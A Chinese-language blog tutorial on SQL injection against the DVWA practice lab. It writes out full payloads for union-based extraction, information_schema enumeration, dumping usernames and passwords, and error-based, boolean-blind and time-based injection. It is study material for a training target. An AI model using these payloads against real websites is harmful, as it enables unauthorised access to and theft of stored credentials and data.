文章目录
前言
最近在学习网络安全,写这篇博客是为了分享技术丶学习参考,顺便也可以当笔记用,如果有什么地方说的不对,欢迎留言讨论,我会虚心学习的,那就让我们一起学习吧!
一、DVWA是什么?
如果你也刚刚接触网络安全,或者想学习网络安全,恰巧还没有可以入门学习的靶场,那么DVWA是一款非常适合你入门的的一个渗透测试演练系统。
二、DVWA SQL注入
1.LOW
提示:DVWA默认的账号为:admin 密码为:password
首先我们先要把安全等级,修改为Low
我们先输入1看会返回什么,可以看到网站给我们返回了ID丶First name和Surname 的值
SQL手工注入的第一步就是先输入’,这个单引号是很关键的,可以看到我们输入单引号后这个网站报错了,这个报错是我们的单引号被当做SQL语句执行了,这个报错就可以代表这个网站可以被SQL注入了。
报错:↓
我们输入单引号的时候发现有回显,我们使用联合查询,查看数据库版本
' union select version(),null --
2.Medium
我们先点击1查看一下,会返回值
Medium等级我们就需要BP的帮助啦,首先我们先抓包,可以看到ID的后面是有值的,这个值正是我们刚才选择的1,我们判断这里有注入点
我们尝试注入一下,在id=1 后面输入sql语句,然后点击Forward
union select version(),null
可以看到网页里显示了服务器的版本信息,注入成功
3.High
我们先输入一个sql语句,看看页面有没有回显,可以看到页面有回显,我们可以尝试使用联合查询。
1 'and 1=1 --
我们使用联合查询发现可以看到版本信息注入成功!
'union sellect version(),null --
三、 SQL漏洞利用
我用LOW级别为例子。
我们输入SQL语句查看这个表有多少列。
提示:在–符号后面一定要加上加上空格,否则可能会出现问题。
1.查看列数
' order by 值 --
我先输入 ** ’ order by 3 --** ,尝试一下发现有报错,这个报错是因为这个表可能没有3个列,报错如下。
这次我们尝试一下 ’ order by 2 – ,发现页面没有变化,这个是对的,因为这个可以确认这个表的列为2,这样我们就得到了列数啦。
上面我们获取了列数为2,我们将列名排序
2.列名排序
'union select 1,2 --
这样我们就得到了列名的顺序啦。
3.联合查询(数据库 用户名丶表名丶版本)
' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null --
32为空格58为:(冒号),CHAR(32,58,32)的意思就是将 用户名丶表名丶版本,用空格冒号空格 ,间隔开方便查看
4.查询information_schema库
' union select table_name,table_schema from information_schema.tables --
因为是级别LOW,说以我们可以访问information_schema,这个库里面包含着全部库的信息,可以看到DVWA的数据库的信息,这个users这个表是我们需要的,里面可能会有用户的信息
5.查询表中的列
' union select table_name,column_name from information_schema.columns where table_schema='数据库名' and table_name ='表名' --
我们输入 ’ union select table_name,column_name from information_schema.columns where table_schema=‘dvwa’ and table_name =‘users’ – 查看表中的列,可以看到users和password,这两个列可能存在敏感信息
6.查询列中数据
' union select null ,concat(列名,0x3a,列名) from 数据库.表名 --
我们输入 ’ union select null ,concat(user,0x3a,password) from dvwa.users – 可以看到我们获取到了用户的账号密码。
四丶SQL注入小技巧
1.如果有回显,考虑联合查询。
2.如果有报错,考虑报错注入。
3.如果有布尔类型状态,考虑布尔盲注。
4.如果以上办法还是找不出漏洞,考虑延时注入。
1.联合查询
当我们看到页面有回显的时候,可以考虑联合查询
查询数据库名称
' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null --
2.报错注入
当我们看到页面会有报错信息的时候,我们可以考虑使用报错注入↓
'and(select extractvalue("anything",concat('^',(select语句)))) --
'and(select updatexml("anything",concat('^,(select语句)),"anything")) --
输入显示版本
'and(select extractvalue("anything",concat('^',(version())))) --
3.布尔盲注
当我们看到页面有布尔类型状态的时候,我们可以考虑布尔盲注
判断数据库名长度
id=1'and length(database())>值 --
如果库名长度是正确的话,页面会正常显示
相反页面就会不显示值,这里要提示一下,页面报错和页面不显示值是两个问题!!
接下来就盲注库名
id=1' and ascii(substr(database(),盲测字符的位数,1))=ascii码值 --
DVWA数据库的第一位字符为d,d的ascii码值为100,所以页面显示正常,第一位字符盲注成功!
4.延时注入
延时注入也是我们没有办法的办法,延时注入也算是盲注的一种
盲注数据库名长度
id=1'and if(length(database())=值,sleep(3),1) --
如果盲注成功,我们可以可以看到页面沉睡了3049毫秒,也就是3秒多一点
盲注库名
and if(ascii(substr(database(),盲测字符的位数,1))=ascii码值,sleep(3),1)
这个操作与以上基本形同就不在演示了